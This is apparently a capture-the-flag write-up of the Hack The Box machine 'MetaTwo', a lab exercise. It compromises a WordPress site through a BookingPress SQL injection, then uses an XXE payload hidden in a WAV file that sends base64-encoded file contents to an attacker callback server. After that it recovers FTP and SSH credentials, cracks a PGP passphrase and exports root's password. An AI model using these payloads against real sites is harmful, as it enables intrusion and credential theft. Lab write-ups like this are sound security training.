PORT STATE SERVICE VERSION 21/tcp open ftp? 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA) | 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA) |_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://metapress.htb/ |_http-server-header: nginx/1.18.0 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 36939/tcp filtered unknown
Port 21 is interesting, nmap thinks it’s an FTP service but we can’t get anything back from it, so will try to look at the web app.
It’s quickly evident that it’s a Word Press website and WPScan reveals that it’s quite out of date. A link on the home page takes us to /events/ which is running BookingPress plugin
It’s is of course out of date and carries the CVE-2022-0739. It would suggest it’s vulnerable to an unauthenticated SQL injection. Perfect.
It requires we obtain the nonce from the source.
Fortunately, someone has already created a POC available on github (https://github.com/destr4ct/CVE-2022-0739) and we’re able to grab usernames and passwords for WordPress.
python3 sqli.py -u http://metapress.htb -n bf440717c1 - BookingPress PoC -- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1 -- Count of users: 2 |email@example.com|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.| |firstname.lastname@example.org|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|
We’re unable to crack the admin hash, but do get access to the manager account.
Using these credentials we fine there’s an unpatched vulnerability allowed authenticated XXE. We create a malicious .wav file and upload media via our Author login.
By creating a malicious payload we can read remote files by calling back an HTTP server hosted locally.
#Our Malicious WAV echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.15.63:8008/payload.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav #Our Payload <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.15.63:8008/?p=%file;'>" >
Upon uploading our file we instantly get a call back with a Base64 encoded passwd contents
We know SSH is open, let’s see if we can get jnelson’s SSH key.
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/jnelson/.ssh/id_rsa"> <!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.15.63:8008/?p=%file;'>" >
Our new payload, let’s see… Well, no such luck…
No low hanging fruit, so we’ll look at wp-config.php
define( 'FS_METHOD', 'ftpext' ); define( 'FTP_USER', 'metapress.htb' ); define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' ); define( 'FTP_HOST', 'ftp.metapress.htb' ); define( 'FTP_BASE', 'blog/' ); define( 'FTP_SSL', false );
We get FTP creds for the box so we can connect to the FTP server and hopefully drop a PHP reverse shell. Interestingly the FTP service is really slow to connect, perhaps why Nmap fails to confirm the service early on.
ftp email@example.com -v Connected to ftp.metapress.htb. 220 ProFTPD Server (Debian) [::ffff:10.129.238.35] 331 Password required for metapress.htb Password: 230 User metapress.htb logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||42182|) 150 Opening ASCII mode data connection for file list drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer 226 Transfer complete
We’re not allowed to modify any files on the FTP server, however there’s a directory called mailer we’ve not seen before and inside there’s a file named send_email.php; we find some more credentials.
With these credentials we’re able to SSH onto the box!
Immediately inside our home directory we have user.txt and a folder named .passpie. Passpie appears to be a password manager which seems to hold root’s SSH credentials.
One of the available options is to export credentials as plain text, but it requires a passphrase.
Luckily .keys contains a PGP private key, which with the help of John the Ripper we can grab the passphrase from.
pg2john privatekey > privatekey.hash File privatekey ┌──(kali㉿kali)-[/htb/metatwo/files] └─$ john -w=/usr/share/wordlists/rockyou.txt privatekey.hash Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 65011712 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status blink182 (Passpie) 1g 0:00:00:00 DONE (2022-10-31 15:05) 1.960g/s 345.0p/s 345.0c/s 345.0C/s ginger..chicken Use the "--show" option to display all of the cracked passwords reliably Session completed.
Were simply able to export the root user’s credentials as plain text.
cat root@ssh credentials: - comment: '' fullname: root@ssh login: root modified: 2022-06-26 08:58:15.621572 name: ssh password: !!python/unicode 'p7qfAZt4_A1xo_0x' - comment: '' fullname: jnelson@ssh login: jnelson modified: 2022-06-26 08:58:15.514422 name: ssh password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys' handler: passpie version: 1.0
So with this, we’re now Root on the box.